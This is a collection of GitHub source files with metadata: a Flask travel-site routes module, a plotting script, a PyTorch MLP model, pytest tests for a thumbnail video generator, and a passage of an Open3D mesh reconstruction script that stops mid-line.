{"seq_id": "32589578142", "text": "from flask import render_template, redirect, url_for, flash, request, send_from_directory\nfrom flask_login import current_user, login_user, logout_user, login_required\nfrom werkzeug.urls import url_parse\nfrom werkzeug.utils import secure_filename\nfrom app import app, db\nfrom app.forms import LoginForm, RegistrationForm, IzletiForm, EditProfileForm\nfrom app.models import User, Izlet\nimport os\n\n@app.route('/')\n@app.route('/index')\ndef index():\n    izleti = Izlet.query.all()\n    izlet1 = Izlet.query.filter_by(id_izlet=1).first()\n    izlet2 = Izlet.query.filter_by(id_izlet=2).first()\n    izlet3 = Izlet.query.filter_by(id_izlet=3).first()\n    slika1 = izlet1.image_file\n    return render_template('index.html', title='Travel.hr - Homepage', izleti=izleti, izlet1=izlet1, izlet2=izlet2, izlet3=izlet3, slika1=slika1)\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    if current_user.is_authenticated:\n        return redirect(url_for('homepage'))\n    form = LoginForm()\n    if form.validate_on_submit():\n        user = User.query.filter_by(username=form.username.data).first()\n        if user is None or not user.check_password(form.password.data):\n            print('Invalid username or password')\n            return redirect(url_for('login'))\n        login_user(user, remember=form.remember_me.data)\n        return redirect(url_for('homepage'))\n    return render_template('login.html', title='Sign In', form=form)\n\n\n@app.route('/logout')\ndef logout():\n    logout_user()\n    return redirect(url_for('index'))\n\n\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n    if current_user.is_authenticated:\n        return redirect(url_for('index'))\n    form = RegistrationForm()\n    if form.validate_on_submit():\n        user = User(username=form.username.data, name=form.name.data, surname=form.surname.data, email=form.email.data)\n        user.set_password(form.password.data)\n        db.session.add(user)\n        db.session.commit()\n        flash('Congratulations, you are now a registered user!')\n        return redirect(url_for('login'))\n    return render_template('register.html', title='Register', form=form)\n\n@app.route('/izleti', methods=['GET', 'POST'])\n@login_required\ndef izleti():\n    form = IzletiForm()\n    if current_user.is_authenticated == False:\n        return redirect(url_for('login'))\n    if form.validate_on_submit():\n        f = request.files['picture']\n        filename=secure_filename(f.filename)\n        izlet = Izlet(naziv=form.name.data, destinacija=form.location.data, cijena=form.price.data, \n        dolazak=form.end.data, polazak=form.start.data, opis=form.description.data, user_id=current_user.id, image_file=f.filename)\n        db.session.add(izlet)\n        db.session.commit()\n                \n        f.save(os.path.join(app.config['TRIP_UPLOAD_FOLDER'], filename))\n        \n        flash('Congratulations, you posted a trip!')\n        return redirect(url_for('homepage'))\n    return render_template('izleti.html', title='Add Trips', form=form)\n\n\n@app.route('/homepage')\n@login_required\ndef homepage():\n    izlet1 = Izlet.query.filter_by(id_izlet=1).first()\n    izlet2 = Izlet.query.filter_by(id_izlet=2).first()\n    izlet3 = Izlet.query.filter_by(id_izlet=3).first()\n    return render_template('homepage.html', title='Homepage', izlet1=izlet1, izlet2=izlet2, izlet3=izlet3)\n\n\n@app.route('/profile/<username>')\n@login_required\ndef profile(username):\n    user = User.query.filter_by(username=username).first_or_404()\n    form = EditProfileForm()\n    return render_template('profile.html', form=form, user=user)\n\n\n@app.route('/trips')\n@login_required\ndef trips():\n    izlet = Izlet.query.all()\n    return render_template('trips.html', izlet=izlet)\n\n@app.route('/detalji/<tripid>')\n@login_required\ndef detalji(tripid):\n    izlet = Izlet.query.filter_by(id_izlet=tripid).first_or_404()\n    return render_template('detalji.html', izlet=izlet)\n\ndef allowed_file(filename):\n    return '.' in filename and \\\n           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n    \n    picture = request.files['Fotografija']\n    return picture.filename\n\n", "repo_name": "antonioscardovi/travel-hr", "sub_path": "app/routes.py", "file_name": "routes.py", "file_ext": "py", "file_size_in_byte": 4106, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "app.models.Izlet.query.all", "line_number": 13, "usage_type": "call"}, {"api_name": "app.models.Izlet.query", "line_number": 13, "usage_type": "attribute"}, {"api_name": "app.models.Izlet", "line_number": 13, "usage_type": "name"}, {"api_name": "app.models.Izlet.query.filter_by", "line_number": 14, "usage_type": "call"}, {"api_name": "app.models.Izlet.query", "line_number": 14, "usage_type": "attribute"}, {"api_name": "app.models.Izlet", "line_number": 14, "usage_type": "name"}, {"api_name": "app.models.Izlet.query.filter_by", "line_number": 15, "usage_type": "call"}, {"api_name": "app.models.Izlet.query", "line_number": 15, "usage_type": "attribute"}, {"api_name": "app.models.Izlet", "line_number": 15, "usage_type": "name"}, {"api_name": "app.models.Izlet.query.filter_by", "line_number": 16, "usage_type": "call"}, {"api_name": "app.models.Izlet.query", "line_number": 16, "usage_type": "attribute"}, {"api_name": "app.models.Izlet", "line_number": 16, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 18, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 10, "usage_type": "call"}, {"api_name": "app.app", "line_number": 10, "usage_type": "name"}, {"api_name": "app.app.route", "line_number": 11, "usage_type": "call"}, {"api_name": "app.app", "line_number": 11, "usage_type": "name"}, {"api_name": "flask_login.current_user.is_authenticated", "line_number": 22, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 22, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 23, "usage_type": "call"}, {"api_name": "app.forms.LoginForm", "line_number": 24, "usage_type": "call"}, {"api_name": "app.models.User.query.filter_by", "line_number": 26, "usage_type": "call"}, {"api_name": "app.models.User.query", "line_number": 26, "usage_type": "attribute"}, {"api_name": "app.models.User", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 29, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 29, "usage_type": "call"}, {"api_name": "flask_login.login_user", "line_number": 30, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 32, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 20, "usage_type": "call"}, {"api_name": "app.app", "line_number": 20, "usage_type": "name"}, {"api_name": "flask_login.logout_user", "line_number": 37, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 38, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 35, "usage_type": "call"}, {"api_name": "app.app", "line_number": 35, "usage_type": "name"}, {"api_name": "flask_login.current_user.is_authenticated", "line_number": 43, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 43, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 44, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 44, "usage_type": "call"}, {"api_name": "app.forms.RegistrationForm", "line_number": 45, "usage_type": "call"}, {"api_name": "app.models.User", "line_number": 47, "usage_type": "call"}, {"api_name": "app.db.session.add", "line_number": 49, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 49, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 49, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 50, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 50, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 50, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 52, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 52, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 53, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 41, "usage_type": "call"}, {"api_name": "app.app", "line_number": 41, "usage_type": "name"}, {"api_name": "app.forms.IzletiForm", "line_number": 58, "usage_type": "call"}, {"api_name": "flask_login.current_user.is_authenticated", "line_number": 59, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 59, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 60, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 60, "usage_type": "call"}, {"api_name": "flask.request.files", "line_number": 62, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 62, "usage_type": "name"}, {"api_name": "werkzeug.utils.secure_filename", "line_number": 63, "usage_type": "call"}, {"api_name": "app.models.Izlet", "line_number": 64, "usage_type": "call"}, {"api_name": "flask_login.current_user.id", "line_number": 65, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 65, "usage_type": "name"}, {"api_name": "app.db.session.add", "line_number": 66, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 66, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 66, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 67, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 67, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 67, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path", "line_number": 69, "usage_type": "attribute"}, {"api_name": "app.app.config", "line_number": 69, "usage_type": "attribute"}, {"api_name": "app.app", "line_number": 69, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 71, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 72, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 72, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 73, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 55, "usage_type": "call"}, {"api_name": "app.app", "line_number": 55, "usage_type": "name"}, {"api_name": "flask_login.login_required", "line_number": 56, "usage_type": "name"}, {"api_name": "app.models.Izlet.query.filter_by", "line_number": 79, "usage_type": "call"}, {"api_name": "app.models.Izlet.query", "line_number": 79, "usage_type": "attribute"}, {"api_name": "app.models.Izlet", "line_number": 79, "usage_type": "name"}, {"api_name": "app.models.Izlet.query.filter_by", "line_number": 80, "usage_type": "call"}, {"api_name": "app.models.Izlet.query", "line_number": 80, "usage_type": "attribute"}, {"api_name": "app.models.Izlet", "line_number": 80, "usage_type": "name"}, {"api_name": "app.models.Izlet.query.filter_by", "line_number": 81, "usage_type": "call"}, {"api_name": "app.models.Izlet.query", "line_number": 81, "usage_type": "attribute"}, {"api_name": "app.models.Izlet", "line_number": 81, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 82, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 76, "usage_type": "call"}, {"api_name": "app.app", "line_number": 76, "usage_type": "name"}, {"api_name": "flask_login.login_required", "line_number": 77, "usage_type": "name"}, {"api_name": "app.models.User.query.filter_by", "line_number": 88, "usage_type": "call"}, {"api_name": "app.models.User.query", "line_number": 88, "usage_type": "attribute"}, {"api_name": "app.models.User", "line_number": 88, "usage_type": "name"}, {"api_name": "app.forms.EditProfileForm", "line_number": 89, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 90, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 85, "usage_type": "call"}, {"api_name": "app.app", "line_number": 85, "usage_type": "name"}, {"api_name": "flask_login.login_required", "line_number": 86, "usage_type": "name"}, {"api_name": "app.models.Izlet.query.all", "line_number": 96, "usage_type": "call"}, {"api_name": "app.models.Izlet.query", "line_number": 96, "usage_type": "attribute"}, {"api_name": "app.models.Izlet", "line_number": 96, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 97, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 93, "usage_type": "call"}, {"api_name": "app.app", "line_number": 93, "usage_type": "name"}, {"api_name": "flask_login.login_required", "line_number": 94, "usage_type": "name"}, {"api_name": "app.models.Izlet.query.filter_by", "line_number": 102, "usage_type": "call"}, {"api_name": "app.models.Izlet.query", "line_number": 102, "usage_type": "attribute"}, {"api_name": "app.models.Izlet", "line_number": 102, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 103, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 99, "usage_type": "call"}, {"api_name": "app.app", "line_number": 99, "usage_type": "name"}, {"api_name": "flask_login.login_required", "line_number": 100, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 109, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 109, "usage_type": "name"}]}
{"seq_id": "11851464301", "text": "import pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\nexpec = pd.read_csv('../sample_data/irish_life_expec.csv')\r\n\r\nexpec.plot(kind = 'bar', x = 'year', y = 'life expec', color='g', legend = True)\r\nexpec.plot(kind = 'scatter', x = 'year', y = 'life expec') #scatter plot\r\n\r\n\r\n\r\nplt.title('Life expectancy')\r\n\r\nplt.show()\r\n", "repo_name": "ShafayetRajit/pythonDataVisualization", "sub_path": "code/data_plot_scatter_bar.py", "file_name": "data_plot_scatter_bar.py", "file_ext": "py", "file_size_in_byte": 324, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pandas.read_csv", "line_number": 4, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 11, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}]}
{"seq_id": "70568107145", "text": "import torch.nn as nn\n\n\nclass MLPModel(nn.Module):\n\n    def __init__(self, input_size, hidden_units, n_classes, activation):\n\n        super(MLPModel, self).__init__()\n\n        layers = []\n        n_units = [input_size] + hidden_units + [n_classes]\n        for i, (in_units, out_units) in enumerate(zip(n_units[:-1], n_units[1:])):\n            layers.append(\n                nn.Linear(in_features=in_units, out_features=out_units)\n            )\n            if i < len(n_units) - 2:\n                layers.append(activation())\n\n        self._layers = nn.Sequential(*layers)\n\n    def forward(self, X):\n        bs = X.shape[0]\n        return self._layers.forward(X.reshape(bs, -1))", "repo_name": "TimPhillip/ocm-23-tutorial", "sub_path": "ocm_tutorial/model/mlp_model.py", "file_name": "mlp_model.py", "file_ext": "py", "file_size_in_byte": 677, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.nn.Module", "line_number": 4, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 4, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 19, "usage_type": "name"}]}
{"seq_id": "41700680764", "text": "import pytest\nimport numpy as np\nimport h5py\nimport tempfile\nimport pathlib\nimport hashlib\nfrom itertools import product\n\nimport ophys_etl.utils.thumbnail_video_utils as thumbnail_utils\nfrom ophys_etl.types import ExtractROI\nfrom ophys_etl.utils.thumbnail_video_generator import (\n    VideoGenerator)\n\n\n@pytest.fixture(scope='session')\ndef list_of_roi():\n    \"\"\"\n    A list of ExtractROIs\n    \"\"\"\n    output = []\n    rng = np.random.default_rng(11231)\n    for ii in range(10):\n        x0 = int(rng.integers(0, 30))\n        y0 = int(rng.integers(0, 30))\n        width = int(rng.integers(4, 10))\n        height = int(rng.integers(4, 10))\n        mask = rng.integers(0, 2, size=(height, width)).astype(bool)\n\n        # because np.ints are not JSON serializable\n        real_mask = []\n        for row in mask:\n            this_row = []\n            for el in row:\n                if el:\n                    this_row.append(True)\n                else:\n                    this_row.append(False)\n            real_mask.append(this_row)\n\n        if ii % 2 == 0:\n            valid_roi = True\n        else:\n            valid_roi = False\n        roi = ExtractROI(x=x0, width=width,\n                         y=y0, height=height,\n                         valid=valid_roi,\n                         mask=real_mask,\n                         id=ii)\n        output.append(roi)\n    return output\n\n\n@pytest.fixture(scope='session')\ndef example_video(tmpdir_factory):\n    \"\"\"\n    Write an example video to an HDF5 file; return the\n    path to that file.\n    \"\"\"\n    tmpdir = pathlib.Path(tmpdir_factory.mktemp('eg_video'))\n    rng = np.random.default_rng(121311)\n    nt = 100\n    nrows = 50\n    ncols = 50\n    data = rng.integers(0, 1000, (nt, nrows, ncols))\n    fname = tempfile.mkstemp(dir=tmpdir,\n                             prefix='video_generator_example_video_',\n                             suffix='.h5')[1]\n    with h5py.File(fname, 'w') as out_file:\n        out_file.create_dataset('data', data=data)\n    fname = pathlib.Path(fname)\n    yield fname\n    fname.unlink()\n    tmpdir.rmdir()\n\n\n@pytest.fixture\ndef example_roi():\n    \"\"\"an ExtractROI\"\"\"\n    x = 11\n    y = 7\n    height = 20\n    width = 35\n    rng = np.random.default_rng(8123)\n    mask = rng.integers(0, 2, (height, width)).astype(bool)\n    roi = ExtractROI(x=x,\n                     y=y,\n                     height=height,\n                     width=width,\n                     mask=mask,\n                     valid=True,\n                     id=999)\n    return roi\n\n\ndef compare_hashes(fname0, fname1):\n    \"\"\"\n    Assert that two files have the same md5 checksum\n    \"\"\"\n    hash0 = hashlib.md5()\n    hash1 = hashlib.md5()\n    with open(fname0, 'rb') as in_file:\n        data = in_file.read()\n        hash0.update(data)\n    with open(fname1, 'rb') as in_file:\n        data = in_file.read()\n        hash1.update(data)\n    assert hash0.hexdigest() == hash1.hexdigest()\n\n\ndef test_video_generator_exception():\n    \"\"\"test that VideoGenerator raises an exception when given\n    a bogus file name\"\"\"\n    with pytest.raises(RuntimeError, match='is not a file'):\n        VideoGenerator('not_a_file.h5')\n\n\n@pytest.mark.parametrize('origin, frame_shape, timesteps, as_array',\n                         product((None, (5, 5)),\n                                 (None, (16, 20)),\n                                 (None, np.array([1, 4, 5, 17,\n                                                  19, 23, 23, 25, 38])),\n                                 (True, False)))\ndef test_get_thumbnail_video(tmpdir,\n                             example_video,\n                             origin,\n                             frame_shape,\n                             timesteps,\n                             as_array):\n    \"\"\"\n    Test that results of VideoGenerator and by-hand invocation of\n    thumbnail_utils.thumbnail_video_from_path are identical\n    \"\"\"\n    video_tmpdir = pathlib.Path(tmpdir) / 'video_temp'\n\n    if as_array:\n        with h5py.File(example_video, 'r') as in_file:\n            generator = VideoGenerator(\n                             video_data=in_file['data'][()],\n                             tmp_dir=video_tmpdir)\n    else:\n        generator = VideoGenerator(video_path=example_video,\n                                   tmp_dir=video_tmpdir)\n\n    fps = 11\n    quality = 6\n\n    thumbnail = generator.get_thumbnail_video(origin=origin,\n                                              frame_shape=frame_shape,\n                                              timesteps=timesteps,\n                                              fps=fps,\n                                              quality=quality)\n\n    assert thumbnail.video_path.is_file()\n\n    if origin is None:\n        origin = (0, 0)\n    if frame_shape is None:\n        with h5py.File(example_video, 'r') as in_file:\n            frame_shape = in_file['data'].shape\n\n    if as_array:\n        with h5py.File(example_video, 'r') as in_file:\n            expected = thumbnail_utils.thumbnail_video_from_array(\n                            in_file['data'][()],\n                            origin,\n                            frame_shape,\n                            timesteps=timesteps,\n                            tmp_dir=video_tmpdir,\n                            fps=fps,\n                            quality=quality)\n    else:\n        expected = thumbnail_utils.thumbnail_video_from_path(\n                        pathlib.Path(example_video),\n                        origin,\n                        frame_shape,\n                        timesteps=timesteps,\n                        tmp_dir=video_tmpdir,\n                        fps=fps,\n                        quality=quality,\n                        min_max=generator.min_max)\n\n    assert expected.video_path.is_file()\n    assert not expected.video_path == thumbnail.video_path\n    compare_hashes(expected.video_path, thumbnail.video_path)\n\n    # to make sure we don't needlessly clutter CircleCIs\n    # scratch space\n    del thumbnail\n    del expected\n    del generator\n\n\n@pytest.mark.parametrize('origin, frame_shape, timesteps, as_array',\n                         product((None, (5, 5)),\n                                 (None, (16, 20)),\n                                 (None, np.array([1, 4, 5, 17,\n                                                  19, 23, 23, 25, 38])),\n                                 (True, False)))\ndef test_thumbnail_with_roi_list(\n                             tmpdir,\n                             example_video,\n                             origin,\n                             frame_shape,\n                             timesteps,\n                             list_of_roi,\n                             as_array):\n    \"\"\"\n    Just a smoketest that we can generate a by-hand thumbnail with ROIs\n    displayed in it\n    \"\"\"\n    video_tmpdir = pathlib.Path(tmpdir) / 'video_temp'\n\n    if as_array:\n        with h5py.File(example_video, 'r') as in_file:\n            generator = VideoGenerator(\n                            video_data=in_file['data'][()],\n                            tmp_dir=video_tmpdir)\n    else:\n        generator = VideoGenerator(video_path=example_video,\n                                   tmp_dir=video_tmpdir)\n\n    fps = 11\n    quality = 6\n\n    thumbnail = generator.get_thumbnail_video(origin=origin,\n                                              frame_shape=frame_shape,\n                                              timesteps=timesteps,\n                                              fps=fps,\n                                              quality=quality,\n                                              rois=list_of_roi)\n\n    assert thumbnail.video_path.is_file()\n\n    # to make sure we don't needlessly clutter CircleCIs\n    # scratch space\n    del thumbnail\n\n    thumbnail = generator.get_thumbnail_video(origin=origin,\n                                              frame_shape=frame_shape,\n                                              timesteps=timesteps,\n                                              fps=fps,\n                                              quality=quality,\n                                              rois=list_of_roi,\n                                              valid_only=True)\n\n    assert thumbnail.video_path.is_file()\n\n    # to make sure we don't needlessly clutter CircleCIs\n    # scratch space\n    del thumbnail\n\n    roi_lookup = {roi['id']: roi for roi in list_of_roi}\n\n    thumbnail = generator.get_thumbnail_video(origin=origin,\n                                              frame_shape=frame_shape,\n                                              timesteps=timesteps,\n                                              fps=fps,\n                                              quality=quality,\n                                              rois=roi_lookup)\n\n    assert thumbnail.video_path.is_file()\n\n    # to make sure we don't needlessly clutter CircleCIs\n    # scratch space\n    del thumbnail\n\n    thumbnail = generator.get_thumbnail_video(origin=origin,\n                                              frame_shape=frame_shape,\n                                              timesteps=timesteps,\n                                              fps=fps,\n                                              quality=quality,\n                                              rois=roi_lookup,\n                                              valid_only=True)\n\n    assert thumbnail.video_path.is_file()\n\n    # to make sure we don't needlessly clutter CircleCIs\n    # scratch space\n    del thumbnail\n    del generator\n\n\n@pytest.mark.parametrize('roi_color, timesteps, padding, as_array',\n                         product((None, (122, 201, 53)),\n                                 (None, np.array([1, 4, 5, 17, 19,\n                                                  23, 23, 25, 38])),\n                                 (0, 5, 10),\n                                 (True, False)))\ndef test_get_thumbnail_video_from_roi(\n                             tmpdir,\n                             example_video,\n                             example_roi,\n                             roi_color,\n                             timesteps,\n                             padding,\n                             as_array):\n    \"\"\"\n    Test that results of VideoGenerator and by-hand invocation of\n    thumbnail_utils.thumbnail_video_from_ROI are identical\n    \"\"\"\n    video_tmpdir = pathlib.Path(tmpdir) / 'video_temp'\n    if as_array:\n        with h5py.File(example_video, 'r') as in_file:\n            video_data = in_file['data'][()]\n        generator = VideoGenerator(\n                             video_data=video_data,\n                             tmp_dir=video_tmpdir)\n    else:\n        generator = VideoGenerator(video_path=example_video,\n                                   tmp_dir=video_tmpdir)\n\n    fps = 11\n    quality = 6\n\n    thumbnail = generator.get_thumbnail_video_from_roi(\n                                  roi=example_roi,\n                                  padding=padding,\n                                  roi_color=roi_color,\n                                  timesteps=timesteps,\n                                  fps=fps,\n                                  quality=quality)\n\n    assert thumbnail.video_path.is_file()\n\n    if as_array:\n        expected = thumbnail_utils.thumbnail_video_from_ROI(\n                       video_data,\n                       example_roi,\n                       padding=padding,\n                       roi_color=roi_color,\n                       timesteps=timesteps,\n                       tmp_dir=video_tmpdir,\n                       fps=fps,\n                       quality=quality)\n\n    else:\n        expected = thumbnail_utils.thumbnail_video_from_ROI(\n                       pathlib.Path(example_video),\n                       example_roi,\n                       padding=padding,\n                       roi_color=roi_color,\n                       timesteps=timesteps,\n                       tmp_dir=video_tmpdir,\n                       fps=fps,\n                       quality=quality,\n                       min_max=generator.min_max)\n\n    assert expected.video_path.is_file()\n    assert not expected.video_path == thumbnail.video_path\n    compare_hashes(expected.video_path, thumbnail.video_path)\n\n    # to make sure we don't needlessly clutter CircleCIs\n    # scratch space\n    del thumbnail\n    del expected\n    del generator\n", "repo_name": "AllenInstitute/ophys_etl_pipelines", "sub_path": "tests/utils/test_thumbnail_video_generator.py", "file_name": "test_thumbnail_video_generator.py", "file_ext": "py", "file_size_in_byte": 12353, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.random.default_rng", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 21, "usage_type": "attribute"}, {"api_name": "ophys_etl.types.ExtractROI", "line_number": 44, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 15, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.random.default_rng", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 60, "usage_type": "attribute"}, {"api_name": "tempfile.mkstemp", "line_number": 65, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 68, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 70, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.random.default_rng", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 83, "usage_type": "attribute"}, {"api_name": "ophys_etl.types.ExtractROI", "line_number": 85, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 76, "usage_type": "attribute"}, {"api_name": "hashlib.md5", "line_number": 99, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 100, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 113, "usage_type": "call"}, {"api_name": "ophys_etl.utils.thumbnail_video_generator.VideoGenerator", "line_number": 114, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 133, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 136, "usage_type": "call"}, {"api_name": "ophys_etl.utils.thumbnail_video_generator.VideoGenerator", "line_number": 137, "usage_type": "call"}, {"api_name": "ophys_etl.utils.thumbnail_video_generator.VideoGenerator", "line_number": 141, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 158, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 162, "usage_type": "call"}, {"api_name": "ophys_etl.utils.thumbnail_video_utils.thumbnail_video_from_array", "line_number": 163, "usage_type": "call"}, {"api_name": "ophys_etl.utils.thumbnail_video_utils", "line_number": 163, "usage_type": "name"}, {"api_name": "ophys_etl.utils.thumbnail_video_utils.thumbnail_video_from_path", "line_number": 172, "usage_type": "call"}, {"api_name": "ophys_etl.utils.thumbnail_video_utils", "line_number": 172, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 173, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 117, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 117, "usage_type": "attribute"}, {"api_name": "itertools.product", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 120, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 211, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 214, "usage_type": "call"}, {"api_name": "ophys_etl.utils.thumbnail_video_generator.VideoGenerator", "line_number": 215, "usage_type": "call"}, {"api_name": "ophys_etl.utils.thumbnail_video_generator.VideoGenerator", "line_number": 219, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 193, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 193, "usage_type": "attribute"}, {"api_name": "itertools.product", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 196, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 301, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 303, "usage_type": "call"}, {"api_name": "ophys_etl.utils.thumbnail_video_generator.VideoGenerator", "line_number": 305, "usage_type": "call"}, {"api_name": "ophys_etl.utils.thumbnail_video_generator.VideoGenerator", "line_number": 309, "usage_type": "call"}, {"api_name": "ophys_etl.utils.thumbnail_video_utils.thumbnail_video_from_ROI", "line_number": 326, "usage_type": "call"}, {"api_name": "ophys_etl.utils.thumbnail_video_utils", "line_number": 326, "usage_type": "name"}, {"api_name": "ophys_etl.utils.thumbnail_video_utils.thumbnail_video_from_ROI", "line_number": 337, "usage_type": "call"}, {"api_name": "ophys_etl.utils.thumbnail_video_utils", "line_number": 337, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 338, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 283, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 283, "usage_type": "attribute"}, {"api_name": "itertools.product", "line_number": 284, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 285, "usage_type": "call"}]}
{"seq_id": "8151076180", "text": "import numpy as np\nimport random\nimport open3d as o3d\nimport argparse\nimport os\n\nif __name__ == \"__main__\":\n\n    parser = argparse.ArgumentParser(description='Fit SMPL body to vertices.')\n    parser.add_argument('--path', type=str, default=\"D:/Human_data/4D_data/data/canonical_meshes/\",\n                        help='Path to the 3D skeleton that corresponds to the 3D scan.')\n    parser.add_argument('--verbose', type=bool, default=True,\n                        help='Flag to record intermediate results')\n    parser.add_argument('--size', type=int, default=210,\n                        help='nb of scans')\n                        \n    args = parser.parse_args()\n    path = args.path\n        \n    for idx in range(0,args.size):\n        #scan_path = path + \"geometry/4dviews_nobi_retopo_\" + str(idx).zfill(4) + \".obj\"\n        if not os.path.isfile(os.path.join(path , \"PC_\" + str(idx).zfill(4) + \".ply\")):\n            print(\"not find : \" , os.path.join(path , \"PC_\" + str(idx).zfill(4) + \".ply\"))\n            continue\n            \n        pcd = o3d.io.read_point_cloud(os.path.join(path , \"PC_\" + str(idx).zfill(4) + \".ply\"))\n        print(pcd)\n                                      \n        print('run Poisson surface reconstruction')\n        with o3d.utility.VerbosityContextManager(\n                o3d.utility.VerbosityLevel.Debug) as cm:\n            mesh, densities = o3d.geometry.TriangleMesh.create_from_point_cloud_poisson(\n                pcd, depth=9)\n        #vertices_to_remove = densities < np.quantile(densities, 0.01)\n        #mesh.remove_vertices_by_mask(vertices_to_remove)\n        print(mesh)\n        o3d.io.write_triangle_mesh(os.path.join(path , \"mesh_\" + 